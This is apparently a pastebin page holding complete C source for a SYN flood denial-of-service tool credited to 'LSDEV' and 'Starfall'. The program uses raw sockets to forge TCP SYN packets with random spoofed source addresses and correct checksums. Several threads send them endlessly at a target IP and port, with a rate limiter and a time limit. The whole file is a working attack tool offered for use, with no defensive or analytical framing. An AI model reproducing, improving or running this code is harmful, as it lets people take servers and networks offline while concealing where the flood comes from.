SHOW:
|
|
- or go back to the newest paste.
1 | #include <pthread.h> | |
2 | #include <unistd.h> | |
3 | #include <stdio.h> | |
4 | #include <stdlib.h> | |
5 | #include <string.h> | |
6 | #include <sys/socket.h> | |
7 | #include <netinet/ip.h> | |
8 | #include <netinet/tcp.h> | |
9 | #include <time.h> | |
10 | #define MAX_PACKET_SIZE 4096 | |
11 | #define PHI 0x9e3779b9 | |
12 | ||
13 | static unsigned long int Q[4096], c = 362436; | |
14 | static unsigned int floodport; | |
15 | volatile int limiter; | |
16 | volatile unsigned int pps; | |
17 | volatile unsigned int sleeptime = 100; | |
18 | ||
19 | void init_rand(unsigned long int x) | |
20 | { | |
21 | int i; | |
22 | Q[0] = x; | |
23 | Q[1] = x + PHI; | |
24 | Q[2] = x + PHI + PHI; | |
25 | for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; } | |
26 | } | |
27 | unsigned long int rand_cmwc(void) | |
28 | { | |
29 | unsigned long long int t, a = 18782LL; | |
30 | static unsigned long int i = 4095; | |
31 | unsigned long int x, r = 0xfffffffe; | |
32 | i = (i + 1) & 4095; | |
33 | t = a * Q[i] + c; | |
34 | c = (t >> 32); | |
35 | x = t + c; | |
36 | if (x < c) { | |
37 | x++; | |
38 | c++; | |
39 | } | |
40 | return (Q[i] = r - x); | |
41 | } | |
42 | unsigned short csum (unsigned short *buf, int count) | |
43 | { | |
44 | register unsigned long sum = 0; | |
45 | while( count > 1 ) { sum += *buf++; count -= 2; } | |
46 | if(count > 0) { sum += *(unsigned char *)buf; } | |
47 | while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); } | |
48 | return (unsigned short)(~sum); | |
49 | } | |
50 | ||
51 | unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) { | |
52 | ||
53 | struct tcp_pseudo | |
54 | { | |
55 | unsigned long src_addr; | |
56 | unsigned long dst_addr; | |
57 | unsigned char zero; | |
58 | unsigned char proto; | |
59 | unsigned short length; | |
60 | } pseudohead; | |
61 | unsigned short total_len = iph->tot_len; | |
62 | pseudohead.src_addr=iph->saddr; | |
63 | pseudohead.dst_addr=iph->daddr; | |
64 | pseudohead.zero=0; | |
65 | pseudohead.proto=IPPROTO_TCP; | |
66 | pseudohead.length=htons(sizeof(struct tcphdr)); | |
67 | int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr); | |
68 | unsigned short *tcp = malloc(totaltcp_len); | |
69 | memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo)); | |
70 | memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr)); | |
71 | unsigned short output = csum(tcp,totaltcp_len); | |
72 | free(tcp); | |
73 | return output; | |
74 | } | |
75 | ||
76 | void setup_ip_header(struct iphdr *iph) | |
77 | { | |
78 | char ip[17]; | |
79 | snprintf(ip, sizeof(ip)-1, "%d.%d.%d.%d", rand()%255, rand()%255, rand()%255, rand()%255); | |
80 | iph->ihl = 5; | |
81 | iph->version = 4; | |
82 | iph->tos = 0; | |
83 | iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr); | |
84 | iph->id = htonl(rand()%54321); | |
85 | iph->frag_off = 0; | |
86 | iph->ttl = MAXTTL; | |
87 | iph->protocol = 6; | |
88 | iph->check = 0; | |
89 | iph->saddr = inet_addr(ip); | |
90 | } | |
91 | ||
92 | void setup_tcp_header(struct tcphdr *tcph) | |
93 | { | |
94 | tcph->source = htons(rand()%65535); | |
95 | tcph->seq = rand(); | |
96 | tcph->ack_seq = 0; | |
97 | tcph->res2 = 0; | |
98 | tcph->doff = 5; | |
99 | tcph->syn = 1; | |
100 | tcph->window = htonl(65535); | |
101 | tcph->check = 0; | |
102 | tcph->urg_ptr = 0; | |
103 | } | |
104 | ||
105 | void *flood(void *par1) | |
106 | { | |
107 | char *td = (char *)par1; | |
108 | char datagram[MAX_PACKET_SIZE]; | |
109 | struct iphdr *iph = (struct iphdr *)datagram; | |
110 | struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr); | |
111 | ||
112 | struct sockaddr_in sin; | |
113 | sin.sin_family = AF_INET; | |
114 | sin.sin_port = htons(floodport); | |
115 | sin.sin_addr.s_addr = inet_addr(td); | |
116 | ||
117 | int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP); | |
118 | if(s < 0){ | |
119 | fprintf(stderr, "Could not open raw socket.\n"); | |
120 | exit(-1); | |
121 | } | |
122 | memset(datagram, 0, MAX_PACKET_SIZE); | |
123 | setup_ip_header(iph); | |
124 | setup_tcp_header(tcph); | |
125 | ||
126 | tcph->dest = htons(floodport); | |
127 | ||
128 | iph->daddr = sin.sin_addr.s_addr; | |
129 | iph->check = csum ((unsigned short *) datagram, iph->tot_len); | |
130 | ||
131 | int tmp = 1; | |
132 | const int *val = &tmp; | |
133 | if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){ | |
134 | fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n"); | |
135 | exit(-1); | |
136 | } | |
137 | ||
138 | init_rand(time(NULL)); | |
139 | register unsigned int i; | |
140 | i = 0; | |
141 | while(1){ | |
142 | sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin)); | |
143 | setup_ip_header(iph); | |
144 | setup_tcp_header(tcph); | |
145 | iph->saddr = (rand_cmwc() >> 24 & 0xFF) << 24 | (rand_cmwc() >> 16 & 0xFF) << 16 | (rand_cmwc() >> 8 & 0xFF) << 8 | (rand_cmwc() & 0xFF); | |
146 | iph->id = htonl(rand_cmwc() & 0xFFFFFFFF); | |
147 | ||
148 | ||
149 | tcph->dest = htons(floodport); | |
150 | ||
151 | iph->daddr = sin.sin_addr.s_addr; | |
152 | ||
153 | iph->check = csum ((unsigned short *) datagram, iph->tot_len); | |
154 | tcph->seq = rand_cmwc() & 0xFFFF; | |
155 | tcph->source = htons(rand_cmwc() & 0xFFFF); | |
156 | tcph->check = 0; | |
157 | tcph->check = tcpcsum(iph, tcph); | |
158 | ||
159 | pps++; | |
160 | if(i >= limiter) | |
161 | { | |
162 | i = 0; | |
163 | usleep(sleeptime); | |
164 | } | |
165 | i++; | |
166 | } | |
167 | } | |
168 | int main(int argc, char *argv[ ]) | |
169 | { | |
170 | if(argc < 6){ | |
171 | fprintf(stderr, "Invalid parameters!\n"); | |
172 | fprintf(stdout, "SSYN Flooder by LSDEV\nImproved by Starfall\nUsage: %s <target IP> <port to be flooded> <number threads to use> <pps limiter, -1 for no limit> <time>\n", argv[0]); | |
173 | exit(-1); | |
174 | } | |
175 | srand(time(0)); | |
176 | fprintf(stdout, "Tank: So what do you need? Besides a miracle.\nNeo: Packets. Lots of packets.\n"); | |
177 | ||
178 | int num_threads = atoi(argv[3]); | |
179 | floodport = atoi(argv[2]); | |
180 | int maxpps = atoi(argv[4]); | |
181 | limiter = 0; | |
182 | pps = 0; | |
183 | pthread_t thread[num_threads]; | |
184 | ||
185 | int multiplier = 20; | |
186 | ||
187 | int i; | |
188 | for(i = 0;i<num_threads;i++){ | |
189 | pthread_create( &thread[i], NULL, &flood, (void *)argv[1]); | |
190 | } | |
191 | for(i = 0;i<(atoi(argv[5])*multiplier);i++) | |
192 | { | |
193 | usleep((1000/multiplier)*1000); | |
194 | if((pps*multiplier) > maxpps) | |
195 | { | |
196 | if(1 > limiter) | |
197 | { | |
198 | sleeptime+=100; | |
199 | } else { | |
200 | limiter--; | |
201 | } | |
202 | } else { | |
203 | limiter++; | |
204 | if(sleeptime > 25) | |
205 | { | |
206 | sleeptime-=25; | |
207 | } else { | |
208 | sleeptime = 0; | |
209 | } | |
210 | } | |
211 | pps = 0; | |
212 | } | |
213 | ||
214 | return 0; | |
215 | } |